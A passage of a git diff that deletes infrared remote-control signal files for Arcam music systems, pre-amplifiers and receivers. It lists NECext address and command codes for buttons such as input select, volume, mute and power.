19 00 00 00 -command: 7C 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Music System/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Music System/16,-1.ir deleted file mode 100644 index d4502b997..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Music System/16,-1.ir +++ /dev/null @@ -1,434 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 00 00 00 00 -# -name: SELECT_TV -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 00 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 02 00 00 00 -# -name: SELECT_AV -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 02 00 00 00 -# -name: DAB/AM -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: SELECT_DAB/AM -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: SELECT_TAPE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: GAME -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: SELECT_GAME -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 07 00 00 00 -# -name: SELECT_CD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 07 00 00 00 -# -name: FRONT_INPUT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 08 00 00 00 -# -name: SELECT_FRONT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 08 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: BASS_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 16 00 00 00 -# -name: BASS_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 17 00 00 00 -# -name: TREBLE_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 18 00 00 00 -# -name: TREBLE_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 19 00 00 00 -# -name: BALANCE_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1A 00 00 00 -# -name: BALANCE_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1B 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 35 00 00 00 -# -name: SELECT_FM -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 35 00 00 00 -# -name: INFO_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 37 00 00 00 -# -name: DISP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 3B 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 3B 00 00 00 -# -name: VOL_ZONE_1+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 43 00 00 00 -# -name: VOL_ZONE_1- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 44 00 00 00 -# -name: MUTE_ZONE_1_TOGGLE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 45 00 00 00 -# -name: MUTE_ZONE_1_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 46 00 00 00 -# -name: MUTE_ZONE_1_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 47 00 00 00 -# -name: ZONE_2_VOL+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 48 00 00 00 -# -name: VOL_ZONE_2+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 48 00 00 00 -# -name: ZONE_2_VOL- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 49 00 00 00 -# -name: VOL_ZONE_2_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 49 00 00 00 -# -name: ZONE_2_MUTE_TOGGLE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4A 00 00 00 -# -name: MUTE_ZONE_2_TOGGL -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4A 00 00 00 -# -name: MUTE_ZONE_2_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4B 00 00 00 -# -name: MUTE_ZONE_2_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4C 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 50 00 00 00 -# -name: VOLUME+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 50 00 00 00 -# -name: NAVIGATE_RIGHT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 50 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 51 00 00 00 -# -name: VOLUME- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 51 00 00 00 -# -name: NAVIGATE_LEFT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 51 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 52 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 55 00 00 00 -# -name: NAVIGATE_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 55 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 56 00 00 00 -# -name: NAVIGATE_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 56 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 57 00 00 00 -# -name: OK/ENTER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 57 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 57 00 00 00 -# -name: ALARM1_ON/OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 71 00 00 00 -# -name: ALARM_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 71 00 00 00 -# -name: ALARM2_ON/OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 72 00 00 00 -# -name: ALARM_2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 72 00 00 00 -# -name: ALARM3_ON/OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 73 00 00 00 -# -name: ALARM_3 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 73 00 00 00 -# -name: ALARM4_ON/OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 74 00 00 00 -# -name: ALARM_4 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 74 00 00 00 -# -name: SLEEP_ON/REDUCE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 76 00 00 00 -# -name: MUTE_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 77 00 00 00 -# -name: MUTE_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 78 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7B 00 00 00 -# -name: STANDBY_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7B 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7C 00 00 00 -# -name: STANDBY_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Music System/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Music System/17,-1.ir deleted file mode 100644 index 7930152a8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Music System/17,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: TUNER/CD_0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: TUNER/CD_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: TUNER/CD_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: TUNER/CD_3 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: TUNER/CD_4 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: TUNER/CD_5 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: TUNER/CD_6 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: TUNER/CD_7 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: TUNER/CD_8 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 09 00 00 00 -# -name: TUNER/CD_9 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 09 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: PRESET_UP -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: PRESET_DOWN -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3F 00 00 00 -# -name: INFO_2 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Music System/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Music System/20,-1.ir deleted file mode 100644 index 996ab06f3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Music System/20,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD_0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: CD_1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: CD_2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: CD_3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: CD_4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: CD_5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: CD_6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: CD_7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: CD_8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: CD_9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: CD_REPEAT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: SKIP/SEARCH_>> -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: CD_NEXT_TRACK -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: SKIP/SEARCH_<< -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: CD_PREVIOUS_TRACK -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: CD_PROGRAM -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 29 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2D 00 00 00 -# -name: CD_EJECT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2D 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: CD_PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: CD_SCAN_BACK -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: CD_SCAN_FORWARD -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: CD_PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: CD_STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: CD_CLEAR -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Pre-Amplifier/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Pre-Amplifier/16,-1.ir deleted file mode 100644 index 2283906d5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Pre-Amplifier/16,-1.ir +++ /dev/null @@ -1,392 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT_SAT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 00 00 00 00 -# -name: INPUT_AV -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 02 00 00 00 -# -name: INPUT_TUNER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: INPUT_DVD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 04 00 00 00 -# -name: INPUT_TAPE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: INPUT_VCR -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: INPUT_CD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 07 00 00 00 -# -name: INPUT_AUX -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 08 00 00 00 -# -name: INPUT_DVD-A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 09 00 00 00 -# -name: DIRECT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0A 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: RESTORE_(FAV) -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0E 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: SAT_VIDEO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 13 00 00 00 -# -name: AV_VIDEO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 14 00 00 00 -# -name: DVD_VIDEO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 16 00 00 00 -# -name: TAPE_VIDEO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 17 00 00 00 -# -name: VCR_VIDEO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 18 00 00 00 -# -name: MODES -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1C 00 00 00 -# -name: THX_MODES -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 20 00 00 00 -# -name: TRIM_MENU -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 -# -name: LIP_SYNC -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 32 00 00 00 -# -name: SUB_TRIM -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 33 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 37 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 3B 00 00 00 -# -name: EFFECT_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 3F 00 00 00 -# -name: EFFECT:_MUSIC -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 40 00 00 00 -# -name: EFFECT:_PARTY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 41 00 00 00 -# -name: EFFECT:_CLUB -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 42 00 00 00 -# -name: EFFECT:_HALL -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 43 00 00 00 -# -name: EFFECT:_SPORT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 44 00 00 00 -# -name: EFFECT:_CHURCH -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 45 00 00 00 -# -name: EFFECTS_MODES -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 46 00 00 00 -# -name: PRESET_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 48 00 00 00 -# -name: PRESET_2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 49 00 00 00 -# -name: PRESET_3 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4A 00 00 00 -# -name: PRESET_4 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4B 00 00 00 -# -name: PRESET_5 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4C 00 00 00 -# -name: DIRECT_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4E 00 00 00 -# -name: DIRECT_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 4F 00 00 00 -# -name: NAV_RIGHT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 50 00 00 00 -# -name: NAV_LEFT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 51 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 52 00 00 00 -# -name: NAV_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 55 00 00 00 -# -name: NAV_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 56 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 57 00 00 00 -# -name: MONO_MODE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6A 00 00 00 -# -name: STEREO_MODE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6B 00 00 00 -# -name: DOLBY_PL2_MOVIE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6C 00 00 00 -# -name: DOLBY_PL2_MUSIC -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6D 00 00 00 -# -name: DOLBY_PRO_EMULATION -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6E 00 00 00 -# -name: DTS_NEO:6_CINEMA -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6F 00 00 00 -# -name: DTS_NEO_6:MUSIC -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 70 00 00 00 -# -name: THX_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 71 00 00 00 -# -name: THX_CINEMA -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 72 00 00 00 -# -name: THX_ULTRA2_CINEMA -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 73 00 00 00 -# -name: THX_MUSIC -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 74 00 00 00 -# -name: THX_SURROUND -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 75 00 00 00 -# -name: MUTE_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 77 00 00 00 -# -name: MUTE_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 78 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7B 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7C 00 00 00 -# -name: VIDEO_TYPE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/0,-1.ir deleted file mode 100644 index 2ad97aebc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/0,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/16,-1.ir deleted file mode 100644 index b3d5b915c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/Receiver/16,-1.ir +++ /dev/null @@ -1,1238 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SAT_A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 00 00 00 00 -# -name: SAT_B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 00 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 00 00 00 00 -# -name: SAT_INPUT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 00 00 00 00 -# -name: 2_SAT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 00 00 00 00 -# -name: SELECT_SAT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 00 00 00 00 -# -name: 5:1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 02 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 02 00 00 00 -# -name: AV_INPUT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 02 00 00 00 -# -name: 8_AV -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 02 00 00 00 -# -name: SELECT_AV -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 02 00 00 00 -# -name: TUNER_A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: TUNER_B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: TUNER_INPUT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: 7_TUN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: SELECT_TUNER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: DVD_A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 04 00 00 00 -# -name: DVD_B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 04 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 04 00 00 00 -# -name: DVD_INPUT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 04 00 00 00 -# -name: 1_DVD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 04 00 00 00 -# -name: SELECT_DVD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 04 00 00 00 -# -name: TAPE_MON_A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: TAPE_MON_B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: TAPE_A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: TAPE_B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: TAPE_INPUT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: 6_TAPE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: SELECT_TAPE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: VCR_1_A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: VCR_1_B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: VCR_A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: VCR_B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: VCR1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: VCR_INPUT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: 3_VCR -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: SELECT_VCR -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: CD_A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 07 00 00 00 -# -name: CD_B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 07 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 07 00 00 00 -# -name: CD_INPUT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 07 00 00 00 -# -name: 4_CD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 07 00 00 00 -# -name: SELECT_CD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 07 00 00 00 -# -name: AUX_A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 08 00 00 00 -# -name: AUX_B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 08 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 08 00 00 00 -# -name: AUX/PVR -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 08 00 00 00 -# -name: PVR_INPUT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 08 00 00 00 -# -name: 5_AUX -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 08 00 00 00 -# -name: SELECT_AUX -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 08 00 00 00 -# -name: DVD-A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 09 00 00 00 -# -name: DVD-A_INPUT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 09 00 00 00 -# -name: 9_MCH -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 09 00 00 00 -# -name: SELECT_MULTI-CHANNEL -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 09 00 00 00 -# -name: STEREO_DIRECT_TOGGL -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0A 00 00 00 -# -name: DIRECT_ONOFF_TGL -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0A 00 00 00 -# -name: SELECT_NET -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0B 00 00 00 -# -name: POWER_A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: POWER_B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: STAND_BY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: MUTE_A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: MUTE_B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: MUTE_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: TREBLE_CON._MENU -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0E 00 00 00 -# -name: VOLUME_+_A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_+_B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: + -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOL+ -type: parsed -protocol: NECext 